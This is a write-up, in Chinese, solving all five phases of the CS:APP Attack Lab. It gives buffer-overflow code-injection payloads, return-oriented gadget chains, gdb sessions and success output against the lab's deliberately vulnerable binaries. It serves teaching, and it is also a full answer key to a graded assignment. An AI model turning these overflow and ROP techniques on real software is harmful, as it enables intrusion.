3. AttackLab
Introduction: The Attack Lab: Understanding Buffer Overflow Bugs
DirectoryLayout:
.
├── cookie.txt
├── ctarget
├── farm.c
├── hex2raw
├── README.txt
└── rtarget
Phase-1
phase-1
要求构造输入,改变getbuf
函数的返回地址,执行touch1
函数的代码,根据反汇编代码:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
......
getbuf
函数并没有在一开始push %rdp
,因此栈结构为:
返回地址
------
0x28字节
------ <- rsp
因此只需要构造40+8个字节的字符串,就可以通过缓冲区溢出修改函数getbuf
的返回地址,返回地址为: 0x00000000004017c0
Answer
11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 45 14 11 c0 17 40 00 00 00 00
myarch% ./hex2raw -i phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
Phase-2
phase-2
需要带参数val(cookie的16进制值)
调用函数touch2
,因此需要自行构造汇编代码注入:
myarch% cat tmp.s
push $0x004017ec
movq $0x59b997fa, %rdi
ret
myarch% gcc -c tmp.s && objdump -dS tmp.o
tmp.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ec 17 40 00 push $0x4017ec
5: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
c: c3 ret
再利用gdb查看进入getbuf
函数后栈指针的位置
(gdb) set args -q
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
End of assembler dump.
(gdb) b *getbuf+4
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r
...
(gdb) p $rsp
$1 = (void *) 0x5561dc78
栈顶地址为0x5561dc78
,即注入的汇编代码起始地址为0x5561dc78
,因此同时将getbuf
的返回地址改为该值
Answer
myarch% cat phase2.txt
68 ec 17 40 00
48 c7 c7 fa 97 b9 59
c3
00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
78 dc 61 55 00 00 00 00
myarch% ./hex2raw -i phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
Phase-3
phase-3
需要传入cookie字符串的指针,因此得在栈上存放cookie字符串,先将cookie59b997fa
转化为十六进制ascii码
35 39 62 39 39 37 66 61 00('\0')
因为getbuf
函数ret后返回地址会被注入为touch3
,因此得将该字符串放到上一个函数栈帧,即test
函数的栈帧内,用gdb查看rsp值为:
(gdb) i r rsp
rsp 0x5561dca0 0x5561dca0
有八字节需要存储返回地址,因此cooike字符串指针地址为0x5561dca8
,结合phase-2
的方法,成功注入
Answer
myarch% cat phase3.txt
68 fa 18 40 00
48 c7 c7 a8 dc 61 55
c3
00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00
myarch% ./hex2raw -i phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
Phase-4
Level 2中有栈随机化处理,并且禁止执行栈上代码,因此无法使用code injection的方法,而是利用其提供的一系列gadget中的指令字节来实现攻击,要求和phase-2
一样
可以找到这两条指令
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret
4019ab: 58 popq %rax
4019ac: 90 nop
4019ad: c3 ret
4019c5: 48 89 c7 movq %rax %rdi
4019c8: 90 nop
4019c9: c3 ret
栈帧结构:
*touch2 # address of touch2
0x4019c5 # movq %rax %rdi
0x59b997fa # cookie
0x4019ab # popq %rax
... # 0x28字节 <-rsp
Answer
myarch% cat phase4.txt
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
myarch% ./hex2raw -i phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
Phase-5
要求同phase-3
,由于栈随机化,不能直接指定存储在栈上的字符指针,指针值要由栈指针得到,则构造的栈应该有以下结构
ascii of cookie
address of touch3
gadget: movq %rax %rdi
address of add_xy
gadget: movq %rax %rdi
gadget: movq %rsp %rax # 注意,操作地址值时,必须用传送四字的指令,不然地址会被截断,并且在使用地址值时会符号扩展为不可访问的内存地址
gadget: movl %ecx %esi
gadget: movl %edx %ecx
gadget: movl %eax %edx
0x20
gadget: popq %rax
...
要利用add_xy
函数计算出cookie字符串
的值,具体思路是:
pop %rax # %rax <- 0x20
mov %eax %edx
mov %edx %ecx
mov %ecx %esi
mov %rsp %rax
mov %rax %rdi
add_xy # %rax <- %rsp + 0x18(3条指令地址)
Answer
myarch% cat phase5.txt
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
myarch% ./hex2raw -i phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget